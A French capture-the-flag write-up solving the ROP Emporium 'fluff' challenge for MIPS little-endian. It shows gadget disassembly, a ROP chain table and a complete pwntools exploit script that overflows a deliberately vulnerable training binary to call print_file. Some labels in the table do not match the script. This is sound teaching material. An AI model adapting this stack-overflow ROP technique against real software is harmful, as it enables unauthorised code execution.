Ropemporium mipsel fluff
fluff mipsel
Introduction.
Le pitch et le matériel de cet exercie se trouve sur cette page du site ropemporium :
Dans cet exercice comme dans les deux précédent il faut appeller print_file avec le nom du fichier “flag.txt”. Mais on ne dispose pas de gadget ordinaire.
Découverte
Contenu du challenge
-rw-r--r-- 1 jce jce 33 2 juil. 2020 flag.txt
-rwxr-xr-x 1 jce jce 7952 15 juil. 2020 fluff_mipsel
-rwxr-xr-x 1 jce jce 7532 15 juil. 2020 libfluff_mipsel.so
Première execution
./fluff_mipsel
fluff by ROP Emporium
MIPS
You know changing these strings means I have to rewrite my solutions...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Erreur de segmentation
Analyse
Le programe principal
Comme dans write4 et badchars le programme appelle pwnme et contient un référence à print_file.
;-- questionableGadgets:
0x00400930 0800b98f lw t9, 8(sp)
0x00400934 0400ac8f lw t4, 4(sp)
0x00400938 26883102 xor s1, s1, s1
0x0040093c 4100043c lui a0, 0x41
0x00400940 702c8434 ori a0, a0, 0x2c70
0x00400944 09f82003 jalr t9
0x00400948 0c00bd23 addi sp, sp, 0xc
0x0040094c 0800b98f lw t9, 8(sp)
0x00400950 0400b28f lw s2, 4(sp)
0x00400954 41000c3c lui t4, 0x41
0x00400958 742c8c35 ori t4, t4, 0x2c74
0x0040095c 09f82003 jalr t9
0x00400960 0c00bd23 addi sp, sp, 0xc
0x00400964 0400b98f lw t9, 4(sp)
0x00400968 26883202 xor s1, s1, s2
0x0040096c 4100053c lui a1, 0x41
0x00400970 0015a534 ori a1, a1, 0x1500
0x00400974 09f82003 jalr t9
0x00400978 0800bd23 addi sp, sp, 8
0x0040097c 0400b98f lw t9, 4(sp)
0x00400980 26801102 xor s0, s0, s1
0x00400984 26881102 xor s1, s0, s1
0x00400988 26801102 xor s0, s0, s1
0x0040098c 41000d3c lui t5, 0x41
0x00400990 0415ad35 ori t5, t5, 0x1504
0x00400994 09f82003 jalr t9
0x00400998 0800bd23 addi sp, sp, 8
0x0040099c 0400b98f lw t9, 4(sp)
0x004009a0 000011ae sw s1, (s0)
0x004009a4 09f82003 jalr t9
0x004009a8 0800bd23 addi sp, sp, 8
0x004009ac 0800a48f lw a0, 8(sp)
0x004009b0 0400b98f lw t9, 4(sp)
0x004009b4 09f82003 jalr t9
0x004009b8 0c00bd23 addi sp, sp, 0xc
0x004009bc 00000000 nop
s1=0
- lw t9, 8(sp)
- lw t4, 4(sp)
- xor s1, s1, s1
- lui a0, 0x41
- ori a0, a0, 0x2c70
- jalr t9
- addi sp, sp, 0xc
set s2
- lw t9, 8(sp)
- lw s2, 4(sp)
- lui t4, 0x41
- ori t4, t4, 0x2c74
- jalr t9
- addi sp, sp, 0xc
s1 = s1^s2
- lw t9, 4(sp)
- xor s1, s1, s2
- lui a1, 0x41
- ori a1, a1, 0x1500
- jalr t9
- addi sp, sp, 8
swap(s0,s1)
- lw t9, 4(sp)
- xor s0, s0, s1 # s0 = s0_initial^s1
- xor s1, s0, s1 # s1 = s0_initial^s1^s1 = s0_initial
- xor s0, s0, s1 # s0 = s0_initial^s1^s0_initial = s1
- lui t5, 0x41
- ori t5, t5, 0x1504
- jalr t9
- addi sp, sp, 8
Gadget d’ecriture de s1 dans [s0]
- lw t9, 4(sp)
- sw s1, (s0)
- jalr t9
- addi sp, sp, 8
Gadget d’appel call func(x)
- lw a0, 8(sp)
- lw t9, 4(sp)
- jalr t9
- addi sp, sp, 0xc
- nop
La librairie
readelf --dyn-syms libfluff_mipsel.so |grep -v UND
La table de symboles « .dynsym » contient 27 entrées :
Num: Valeur Tail Type Lien Vis Ndx Nom
1: 00000650 0 SECTION LOCAL DEFAULT 11
2: 00000860 316 FUNC GLOBAL DEFAULT 12 pwnme
3: 00011064 0 NOTYPE GLOBAL DEFAULT 20 _edata
4: 00000ba0 0 FUNC GLOBAL DEFAULT 14 _fini
5: 00011000 0 NOTYPE GLOBAL DEFAULT 19 _fdata
6: 0000099c 260 FUNC GLOBAL DEFAULT 12 print_file
7: 00011080 0 NOTYPE GLOBAL DEFAULT 21 _end
8: 00011064 0 NOTYPE GLOBAL DEFAULT 21 __bss_start
9: 00018ff0 0 SECTION GLOBAL DEFAULT ABS _gp_disp
10: 000006e0 0 NOTYPE GLOBAL DEFAULT 12 _ftext
11: 00011064 0 NOTYPE GLOBAL DEFAULT 21 _fbss
12: 00000650 0 FUNC GLOBAL DEFAULT 11 _init
La librairie contien la fonction vulnérable pwnme et print_file.
┌ 316: sym.pwnme (int32_t arg1, int32_t arg3, int32_t arg_10h, int32_t arg_18h);
│ ; arg int32_t arg_10h @ fp+0x10
│ ; arg int32_t arg_18h @ fp+0x18
│ ; var int32_t var_10h @ sp+0x10
│ ; var int32_t var_18h @ sp+0x18
│ ; var int32_t var_38h @ sp+0x38
│ ; var int32_t var_3ch @ sp+0x3c
│ ; arg int32_t arg1 @ a0
│ ; arg int32_t arg3 @ a2
│ 0x00000860 02001c3c lui gp, 2
│ 0x00000864 90879c27 addiu gp, gp, -0x7870
│ 0x00000868 21e09903 addu gp, gp, t9
│ 0x0000086c c0ffbd27 addiu sp, sp, -0x40
│ 0x00000870 3c00bfaf sw ra, (var_3ch)
│ 0x00000874 3800beaf sw fp, (var_38h)
│ 0x00000878 25f0a003 move fp, sp
│ 0x0000087c 1000bcaf sw gp, (var_10h)
│ 0x00000880 4080828f lw v0, -0x7fc0(gp) ; [0x11030:4]=0
│ 0x00000884 0000428c lw v0, (v0)
│ 0x00000888 25380000 move a3, zero
│ 0x0000088c 02000624 addiu a2, zero, 2 ; arg3
│ 0x00000890 25280000 move a1, zero
│ 0x00000894 25204000 move a0, v0
│ 0x00000898 4880828f lw v0, -sym.imp.setvbuf(gp) ; [0x11038:4]=0xb60 sym.imp.setvbuf
│ 0x0000089c 25c84000 move t9, v0
│ 0x000008a0 09f82003 jalr t9
│ 0x000008a4 00000000 nop
│ 0x000008a8 1000dc8f lw gp, (var_10h)
│ 0x000008ac 2880828f lw v0, -0x7fd8(gp) ; [0x11018:4]=0
│ 0x000008b0 f00b4424 addiu a0, v0, str.fluff_by_ROP_Emporium ; 0xbf0 ; "fluff by ROP Emporium" ; arg1
│ 0x000008b4 5480828f lw v0, -sym.imp.puts(gp) ; [0x11044:4]=0xb40 sym.imp.puts
│ 0x000008b8 25c84000 move t9, v0
│ 0x000008bc 09f82003 jalr t9
│ 0x000008c0 00000000 nop
│ 0x000008c4 1000dc8f lw gp, (var_10h)
│ 0x000008c8 2880828f lw v0, -0x7fd8(gp) ; [0x11018:4]=0
│ 0x000008cc 080c4424 addiu a0, v0, str.MIPS_n ; 0xc08 ; "MIPS\n" ; arg1
│ 0x000008d0 5480828f lw v0, -sym.imp.puts(gp) ; [0x11044:4]=0xb40 sym.imp.puts
│ 0x000008d4 25c84000 move t9, v0
│ 0x000008d8 09f82003 jalr t9
│ 0x000008dc 00000000 nop
│ 0x000008e0 1000dc8f lw gp, (var_10h)
│ 0x000008e4 20000624 addiu a2, zero, 0x20 ; arg3
│ 0x000008e8 25280000 move a1, zero
│ 0x000008ec 1800c227 addiu v0, fp, 0x18
│ 0x000008f0 25204000 move a0, v0
│ 0x000008f4 4480828f lw v0, -sym.imp.memset(gp) ; [0x11034:4]=0xb70 sym.imp.memset
│ 0x000008f8 25c84000 move t9, v0
│ 0x000008fc 09f82003 jalr t9
│ 0x00000900 00000000 nop
│ 0x00000904 1000dc8f lw gp, (var_10h)
│ 0x00000908 2880828f lw v0, -0x7fd8(gp) ; [0x11018:4]=0
│ 0x0000090c 100c4424 addiu a0, v0, str.You_know_changing_these_strings_means_I_have_to_rewrite_my_solutions... ;
│ 0x00000910 5480828f lw v0, -sym.imp.puts(gp) ; [0x11044:4]=0xb40 sym.imp.puts
│ 0x00000914 25c84000 move t9, v0
│ 0x00000918 09f82003 jalr t9
│ 0x0000091c 00000000 nop
│ 0x00000920 1000dc8f lw gp, (var_10h)
│ 0x00000924 2880828f lw v0, -0x7fd8(gp) ; [0x11018:4]=0
│ 0x00000928 580c4424 addiu a0, v0, 0xc58 ; arg1
│ 0x0000092c 6080828f lw v0, -sym.imp.printf(gp) ; [0x11050:4]=0xb10 sym.imp.printf
│ 0x00000930 25c84000 move t9, v0
│ 0x00000934 09f82003 jalr t9
│ 0x00000938 00000000 nop
│ 0x0000093c 1000dc8f lw gp, (var_10h)
│ 0x00000940 00020624 addiu a2, zero, 0x200 ; arg3
│ 0x00000944 1800c227 addiu v0, fp, 0x18
│ 0x00000948 25284000 move a1, v0
│ 0x0000094c 25200000 move a0, zero
│ 0x00000950 6880828f lw v0, -sym._MIPS_STUBS_(gp) ; [0x11058:4]=0xb00 sym.imp.read
│ 0x00000954 25c84000 move t9, v0
│ 0x00000958 09f82003 jalr t9
│ 0x0000095c 00000000 nop
│ 0x00000960 1000dc8f lw gp, (var_10h)
│ 0x00000964 2880828f lw v0, -0x7fd8(gp) ; [0x11018:4]=0
│ 0x00000968 5c0c4424 addiu a0, v0, str.Thank_you_ ; 0xc5c ; "Thank you!" ; arg1
│ 0x0000096c 5480828f lw v0, -sym.imp.puts(gp) ; [0x11044:4]=0xb40 sym.imp.puts
│ 0x00000970 25c84000 move t9, v0
│ 0x00000974 09f82003 jalr t9
│ 0x00000978 00000000 nop
│ 0x0000097c 1000dc8f lw gp, (var_10h)
│ 0x00000980 00000000 nop
│ 0x00000984 25e8c003 move sp, fp
│ 0x00000988 3c00bf8f lw ra, (var_3ch)
│ 0x0000098c 3800be8f lw fp, (var_38h)
│ 0x00000990 4000bd27 addiu sp, sp, 0x40
│ 0x00000994 0800e003 jr ra
└ 0x00000998 00000000 nop
La lecture se fait dans un buffer de 512 octets et le débordement à lieu après 0x24 octets comme pour write4. ( cf article write 4 )
Etude des gadgets
Pour ecrire en memoire
On trouve ce gadget qui fait partie de “quesionnableGadgets”
0x0040099c : lw $t9, 4($sp) ; sw $s1, ($s0) ; jalr $t9 ; addi $sp, $sp, 8
Il nous faut contrôler s0
et s1
.
Pour cela on trouve avec : # ROPgadget –binary fluff_mipsel |grep “lw $a0”
0x00400aac : lw $ra, 0x24($sp) ; lw $s1, 0x20($sp) ; lw $s0, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x28
Le gadget va chercher relativement loin les valeurs sur la pile et effectue un ajustement de 0x28 (80) octets, 10 mots sur la pile ce qui est pas mal d’autant qu’on doit l’utiliser deux fois. ON devra insérer des mots de junk dans la chaine. Mais on a de la place (512 octets)
Appel de print_file.
En recherchant “ROPgadget –binary fluff_mipsel |grep “lw $a0” On trouve le gadget déjà vu dans quesionnableGadgets.
0x004009ac : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc
### La chaine de ROP
ROP entry | gadget | comment |
---|---|---|
———- | Ecriture de “flbd” dans .bss | |
0x00400aac | lw $ra, 0x24($sp) ; lw $s1, 0x20($sp) ; lw $s0, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x28 | charge s0,s1 |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0x00411070 | @.bss | pour s0 |
0x67626c66 | ‘flbd’ | pour s1 |
0x0040099c | lw $t9, 4($sp) ; sw $s1, ($s0) ; jalr $t9 ; addi $sp, $sp, 8 | Pour t9 du gadget de chargement |
0xdeadbeef | junk | |
———- | Ecriture de “-t{t”” dans .bss+4 | |
0x00400aac | lw $ra, 0x24($sp) ; lw $s1, 0x20($sp) ; lw $s0, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x28 | charge s0,s1 |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0xdeadbeef | junk | |
0x00411074 | @.bss+4 | pour s0 |
0x747b742d | ‘-t{t’ | pour t1 |
0x0040099c | lw $t9, 4($sp) ; sw $s1, ($s0) ; jalr $t9 ; addi $sp, $sp, 8 | Pour t9 du gadget de chargement |
0xdeadbeef | junk | |
———- | Appel print_file(@.bss) | |
0x004009ac | lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; addi $sp, $sp, 0xc | Charge a0 et appel @t9 |
0xdeadbeef | junk | |
0x00400af0 | print_file@plt | pour t9 |
0x00411070 | @.bss | pour a0 |
Exploitation
Script python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time
# ROPemporium fluff MIPSEL
# Set up pwntools for the correct architecture
elf = context.binary = ELF('fluff_mipsel')
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]
# ret : 296
# read : 248
gs='''
b *pwnme+296
c
'''
# Gadgets
# 0x00400aac : lw $ra, 0x24($sp) ; lw $s1, 0x20($sp) ; lw $s0, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x28
g_pop_s1s0= 0x00400aac
# 0x0040099c : lw $t9, 4($sp) ; sw $s1, ($s0) ; jalr $t9 ; addi $sp, $sp, 8
g_write_s1s0 = 0x0040099c
g_call_with_a0 = 0x004009ac
def write_word( what, where):
pl=p32(g_pop_s1s0)
pl+=p32(0xdeadbeef) # junk
pl+=p32(0xdeadbeef) # junk
pl+=p32(0xdeadbeef) # junk
pl+=p32(0xdeadbeef) # junk
pl+=p32(0xdeadbeef) # junk
pl+=p32(0xdeadbeef) # junk
pl+=p32(0xdeadbeef) # junk
pl+=where # t0
pl+=what # t1
pl+=p32(g_write_s1s0) # t9 => next gadget
pl+=p32(0xdeadbeef) # junk
return pl
if len(sys.argv)>1 and sys.argv[1] == "-d":
io = gdb.debug([elf.path],gdbscript=gs)
else:
io = process([elf.path])
print_file = elf.plt["print_file"]+4
bssaddr = elf.get_section_by_name('.bss').header['sh_addr']
log.info(f"{bssaddr=:x}")
log.info(f"{print_file=:x}")
offset=0x24
PL=b"A"*offset
PL+=write_word(b'flag', p32(bssaddr))
PL+=write_word(b'.txt', p32(bssaddr+4))
# This line is read by prio gadget
PL+=p32(g_call_with_a0) # t9 => next gadget for g_write_s1s0
PL+=p32(0xdeadbeef) # junk
PL+=p32(print_file) # t9 for g_call_with_a0
PL+=p32(bssaddr) # t0 for g_call_with_a0
log.info(f"Payload size : 0x{len(PL):x}")
log.info(PL.hex())
io.sendlineafter(b"> ",PL)
io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()
Déroulement
python3 solve.py
[*] '/home/jce/w/ropemporium/mipsel/06_fluff/fluff_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Starting local process '/home/jce/w/ropemporium/mipsel/06_fluff/fluff_mipsel': pid 7198
[*] bssaddr=411070
[*] print_file=400af0
[*] Payload size : 0x94
[*] 414141414141414141414141414141414141414141414141414141414141414141414141ac0a4000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde70104100666c61679c094000efbeaddeac0a4000efbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeaddeefbeadde741041002e7478749c094000efbeaddeac094000efbeaddef00a400070104100
[+] flag : ROPE{a_placeholder_32byte_flag!}
[*] Stopped process '/home/jce/w/ropemporium/mipsel/06_fluff/fluff_mipsel' (pid 7198)